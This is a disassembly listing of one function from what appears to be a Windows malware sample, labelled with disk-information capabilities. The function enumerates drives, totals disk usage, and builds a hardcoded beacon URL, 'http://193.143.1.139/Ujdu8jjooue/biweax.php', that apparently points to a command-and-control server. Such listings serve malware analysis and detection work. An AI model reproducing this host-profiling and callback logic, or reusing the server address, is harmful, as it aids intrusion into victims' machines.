Function at 0x140011290
Capabilities:
Get disk information
Get disk size

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rax - 0x2b8]
sub rsp, 0x390
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400a9100]
xor rax, rsp
mov qword [rbp + 0x278], rax
mov rbx, rdx
mov r13, rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
movdqa xmm6, xmmword [0x14009a860]
movdqa xmmword [rbp + 0x90], xmm6
mov byte [rbp + 0x80], dil
movups xmmword [rbp + 0xa0], xmm0
movdqa xmmword [rbp + 0xb0], xmm6
mov byte [rbp + 0xa0], dil
movups xmmword [rbp + 0xc0], xmm0
movdqa xmmword [rbp + 0xd0], xmm6
mov byte [rbp + 0xc0], dil
movups xmmword [rbp + 0xe0], xmm0
movdqa xmmword [rbp + 0xf0], xmm6
mov byte [rbp + 0xe0], dil
lea rcx, [rbp + 0x100]
call fcn.14001afe0
nop
lea rcx, [rbp + 0x120]
call fcn.14001af00
nop
lea rcx, [rbp + 0x140]
call fcn.14001b990
nop
lea rcx, [rbp + 0x160]
call fcn.14001b690
nop
lea rcx, [rbp + 0x180]
call fcn.14001b370
nop
lea rcx, [rbp + 0x1a0]
call fcn.14001a780
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
movdqa xmmword [rbp + 0x1d0], xmm6
mov byte [rbp + 0x1c0], dil
movups xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x14009a870]
movdqa xmmword [rbp + 0x1f0], xmm1
mov word [rbp + 0x1e0], 0x30
movups xmmword [rbp + 0x200], xmm0
movdqa xmmword [rbp + 0x210], xmm1
mov word [rbp + 0x200], 0x30
movups xmmword [rbp + 0x220], xmm0
movdqa xmmword [rbp + 0x230], xmm1
mov word [rbp + 0x220], 0x30
movups xmmword [rbp + 0x240], xmm0
movdqa xmmword [rbp + 0x250], xmm1
mov word [rbp + 0x240], 0x30
lea rdx, [rbp + 0x80]
mov rcx, r13
call fcn.140011ea0
nop
lea rcx, [rbp + 0x80]
call fcn.140011980
mov qword [r13 + 0x1e0], rbx
xorps xmm0, xmm0
movups xmmword [r13 + 0x1e8], xmm0
mov byte [r13 + 0x1f8], 1
mov qword [r13 + 0x200], rdi
movups xmmword [r13 + 0x220], xmm0
movups xmmword [r13 + 0x230], xmm0
movups xmmword [r13 + 0x240], xmm0
mov qword [r13 + 0x210], rdi
mov qword [r13 + 0x218], rdi
mov r15, 0xffffffffffffffff
mov dword [r13 + 0x250], r15d
mov dword [r13 + 0x208], 2
mov dword [r13 + 0x254], edi
lea rcx, [r13 + 0x258]
call fcn.1400309f4
nop
lea rdx, [0x1400a9d80]
cmp qword [0x1400a9d98], 0xf
cmova rdx, qword [0x1400a9d80]
lea rcx, [r13 + 0x40]
mov r8, qword [0x1400a9d90]
call fcn.140016050
mov rbx, qword [0x1400b4388]
test rbx, rbx
jne 0x14001154a
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r14d, eax
mov sil, 0x41
nop word [rax + rax]
test r14b, 1
je 0x140011533
mov dword [rsp + 0x20], edi
movzx r9d, sil
lea r8, str._c:_
mov edx, 4
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x28]
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov rax, qword [rsp + 0x28]
sub rax, qword [rsp + 0x30]
add rbx, rax
inc sil
shr r14d, 1
cmp sil, 0x5a
jle 0x1400114e0
shr rbx, 0x1e
mov qword [0x1400b4388], rbx
lea r9, [rbp + 0x275]
movabs r8, 0xcccccccccccccccd
nop dword [rax + rax]
dec r9
mov rax, r8
mul rbx
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r9], bl
mov rbx, rdx
test rdx, rdx
jne 0x140011560
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
lea rax, [rbp + 0x275]
cmp r9, rax
jne 0x1400115b0
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], dl
jmp 0x1400115c6
lea r8, [rbp + 0x275]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x60]
call fcn.140004f70
or edi, 3
lea rcx, [r13 + 0x1c0]
lea rdx, [rbp + 0x60]
call fcn.140015730
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140011614
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001160f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011960
call fcn.1400532ac
lea rcx, [rbp + 0x40]
call fcn.14001ee70
or edi, 4
lea rcx, [r13 + 0x20]
lea rdx, [rbp + 0x40]
call fcn.140015730
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140011668
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011663
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011966
call fcn.1400532ac
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.140015440
nop
lea rcx, [rbp + 0x60]
call fcn.14001acb0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140011690
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140016720
lea rdx, [0x14009a204]
mov rcx, rax
call fcn.140016420
mov rbx, rax
lea rcx, [rbp + 0x40]
call fcn.14001b7d0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400116c7
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140016720
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14001170e
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011709
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001196c
call fcn.1400532ac
movdqu xmmword [rbp + 0x50], xmm6
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140011753
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001174d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011972
call fcn.1400532ac
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
movdqu xmmword [rbp + 0x50], xmm6
mov byte [rbp + 0x40], 0
or edi, 0x10
mov dword [rsp + 0x20], edi
movups xmmword [rbp + 0x60], xmm0
mov rcx, qword [rbp - 0x38]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14001179c
mov rax, qword [rbp - 0x68]
mov r8, qword [rax]
test r8, r8
je 0x14001179c
mov rax, qword [rsp + 0x78]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x40]
cmovb r8, qword [rbp - 0x40]
sub r8, rdx
jmp 0x1400117cc
test cl, 4
jne 0x1400117c4
mov rax, qword [rbp - 0x70]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400117c4
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x58]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x1400117cc
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x1400117db
lea rcx, [rbp + 0x40]
call fcn.140016050
nop
lea rcx, [r13 + 0x140]
lea rdx, [rbp + 0x40]
call fcn.140015730
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140011826
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011821
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001195a
call fcn.1400532ac
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov ecx, 0x30
call fcn.140053270
mov rbx, rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x50], 0x2b
mov qword [rbp + 0x58], 0x2f
movups xmm0, xmmword [str.http:__193.143.1.139_Ujdu8jjooue_biweax.php]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14009a820]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14009a830]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14009a838]
mov word [rbx + 0x28], ax
movzx eax, byte [0x14009a83a]
mov byte [rbx + 0x2a], al
mov byte [rbx + 0x2b], 0
mov edx, 0x68
mov r8d, 0x27
mov rcx, rbx
call fcn.14007f020
test rax, rax
je 0x1400118cf
cmp dword [rax], 0x70747468
jne 0x1400118b3
cmp byte [rax + 4], 0x73
je 0x140011952
inc rax
lea r8, [rbx + 0x27]
sub r8, rax
mov edx, 0x68
mov rcx, rax
call fcn.14007f020
test rax, rax
jne 0x1400118a1
mov rax, r15
lea rcx, [0x14009a208]
lea rdx, [0x14009a20c]
test rax, rax
cmove rdx, rcx
nop word [rax + rax]
inc r15
cmp byte [rdx + r15], 0
jne 0x1400118f0
mov r8, r15
mov rcx, r13
call fcn.140016050
nop
mov edx, 0x30
mov rcx, rbx
call fcn.1400532ac
nop
lea rcx, [rsp + 0x40]
call fcn.1400122a0
nop
mov rax, r13
mov rcx, qword [rbp + 0x278]
xor rcx, rsp
call fcn.140053250
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
sub rax, rbx
jmp 0x1400118d2
call fcn.1400593b4
nop
call fcn.1400593b4
int3
call fcn.1400593b4
nop
call fcn.1400593b4
nop
call fcn.1400593b4
int3